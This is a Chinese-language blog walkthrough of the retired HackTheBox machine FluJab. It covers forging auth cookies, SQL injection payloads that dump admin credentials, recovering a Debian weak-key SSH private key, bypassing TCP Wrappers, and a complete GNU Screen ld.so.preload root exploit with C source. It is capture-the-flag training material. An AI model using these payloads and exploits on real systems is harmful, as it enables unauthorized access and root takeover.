其他分享
首页 > 其他分享> > HTB-靶机-FluJab

HTB-靶机-FluJab

作者:互联网

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.124

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.124 -o ./FluJab-autorecon

根据扫描结果,含有大量域名,这里提前先绑定好hosts信息

10.10.10.124 clownware.htb proxy.clownware.htb console.flujab.htb sys.flujab.htb smtp.flujab.htb vaccine4flu.htb bestmedsupply.htb custoomercare.megabank.htb flowerzrus.htb chocolateriver.htb meetspinz.htb rubberlove.htb freeflujab.htb flujab.htb

域名比较多,需要访问多个域名进行测试发现,这里使用工具aquatone进行批量探索,具体链接地址:https://github.com/michenriksen/aquatone/releases  经过不断的测试最终发现域名https://freeflujab.htb是可利用的,本靶机存在waf防护,直接访问IP地址会显示被拦截

点击上了上面的每个功能页面,通过burpsuite抓包

总结模块信息

Patient=74f85ae35abd655f80b6a74ff5d172ec
Registered=NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9TnVsbA%3D%3D
Modus=Q29uZmlndXJlPU51bGw%3D
path=/?smtp_config

上面信息大概意思是发送登录请求服务的会响应设置cookie信息,并告知请求的路径/?smtp_config ,其中模块Modus和Registered的属性值是经过base64编码,且最后的等于号(=)进行了url编码,所以我们将其整体的解码一边看看

从上面可以发现未登录之前cookie带的信息值是Null,访问?logout 的时候cookie值同样显示跟上面类似的信息,所以经过测试发现可以通过更改cookie属性值将其从Null更改为True即可绕过登录访问被限制的页面,下面是最终需要更改为True的编码值

Q29uZmlndXJlPU51bGw%3D
Configure=Null

Configure=Ture
Q29uZmlndXJlPVRydWU%3D

-------------------------

NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9TnVsbA%3D%3D
74f85ae35abd655f80b6a74ff5d172ec=Null

NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9VHJ1ZQ%3D%3D
74f85ae35abd655f80b6a74ff5d172ec=True

-------------------------------------
下面是配置burpsuite使其自动的替换Cookie属性值 ^Cookie.*$ 替换为 Cookie: Modus=Q29uZmlndXJlPVRydWU%3D; Patient=74f85ae35abd655f80b6a74ff5d172ec; Registered=NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9VHJ1ZQ%3D%3D

上述配置完成,开始访问/?smtp_config,这里刚开始准备在输入框写入IP地址,但是不被允许,然后尝试使用burpsuite拦截数据包再填写即可成功

上述是配置修改为IP地址,完成之后重新刷新页面再次请求/?smtp_config

到了此步说明已经将目标靶机连接到本地kali搭建的邮件服务器,这里使用python搭建简单的邮件服务,具体如下:

一条命令搭建

python -m smtpd -n -c DebuggingServer :25

一段代码搭建

import asyncore
from smtpd import SMTPServer

class EmlServer(SMTPServer):
    no = 0
    def process_message(self, peer, mailfrom, rcpttos, data):
        print data
        self.no += 1


def run():
    foo = EmlServer(('10.10.14.6', 25), None)
    try:
        asyncore.loop()
    except KeyboardInterrupt:
        pass


if __name__ == '__main__':
    run()

得到上面页面有显示一个白名单页面的链接:whitelisted sysadmins 点击一下即可添加当前kali的IP地址为白名单

准备好上面的之后尝试访问/?remind开启burpsuite进行拦截并修改请求数据包,添加发送的邮件信息

 添加邮件信息

成功收到邮件信息

测试发现,此处存在sql注入漏洞,具体如下

手动注入语句

 or 1=1-- -
  or 1=2-- -
  UNION SELECT 1,2,3,4,5 -- -
  UNION SELECT 1,2,concat(loginname,':',password,':',access),4,5 FROM admin -- -

最终注入出来账户和密码以及登录的新域名地址

密码hash
sysadm:a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602:sysadmin-console-01.flujab.htb

解密出来密码是:th3doct0r

绑定hosts信息

10.10.10.124 sysadmin-console-01.flujab.htb

访问此域名地址并使用账户和密码登录到了此步后面就比较简单了,登录进去之后有个notepad功能,可以通过此功能进行查看目标靶机的文件内容,这里查看了目标靶机的/etc/passwd,和每个用户家目录的信息,最后发现用户drno存在公钥,内容如下

# shell whitelisting + key auth enabled 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=

看了下目标靶机的系统版本是debian又看到其他用户的目录公钥信息及提示,确认存在漏洞 https://www.cvedetails.com/cve/CVE-2008-0166 可以通过https://github.com/g0tmi1k/debian-ssh/tree/master/uncommon_keys下的私钥进行比对获取对应的私钥登录目标

通过取出公钥最后一段字符进行比对得到如下

将其复制到本地给其权限600然后登录目标,显示如下

上述显示保存,可判断为目标靶机使用了TCP Wrapper 进行安全限制,可以通过在 /etc/hosts.allow添加自己的IP地址进行绕过登录,我在这里测试的时候卡了一段实际,手动通过页面添加显示成功,但死活连接不上,后来通过api的形式添加成功才可以登录,相关api文档,可以参考:http://docs1.ajenti.org/en/latest/index.html http://docs.ajenti.org/en/latest/refjs/filesystem.html

下面是/etc/hosts.deny的白名单配置

最终连接成功,获取user.txt

此处还有另外一种方式登录目标靶机,因为在查看目标靶机存在哪些用户的时候,刚好也发现存在用户sysadm,这用户也刚好是登录靶机的web应用的账户,而且查看/etc/ssh/sshd_config配置的发现配置文件里面配置了登录目标靶机的公钥配置了别名,具体如下:

AuthorizedKeysFile    .ssh/authorized_keys access

所以我们可以通过本地生成私钥和公钥,然后通过上述的web应用-sysadmin将生成的公钥写入到名称为access的文件里面,位置就在用户sysadm的家目录下面即可,这里通过api的形式添加最稳定靠谱,具体的api操作演示就不做了,我们看看结果

ssh-keygen -t rsa -f bmfx -N bmfx
-f 指定密钥文件名
-t 指定密钥类型
-N 指定生成此密钥的密码

登录进去发现是个受限制的rbash,这个前面靶机有演示过

开始提权,查找suid文件

发现两个screen,确认这两个screen的版本,发现其中一个存提权漏洞,参考:https://www.exploit-db.com/exploits/41154 此漏洞提权前面靶机也演示过,正常情况下丢到目标靶机直接执行脚本即可提权,但是测试发现目标靶机并没有gcc环境,所以需要自己在本地kali中编译好环境然后传到目标靶机进行提权即可

第一步
cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

第二步
gcc -fPIC -shared -ldl -o libhax.so libhax.c

第三步
cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

第四步
gcc -o rootshell rootshell.c

第五步
cd /etc
umask 000
/usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

第六步
执行提权文件rootshell

标签:htb,__,HTB,登录,https,FluJab,靶机,3D
来源: https://www.cnblogs.com/autopwn/p/14178650.html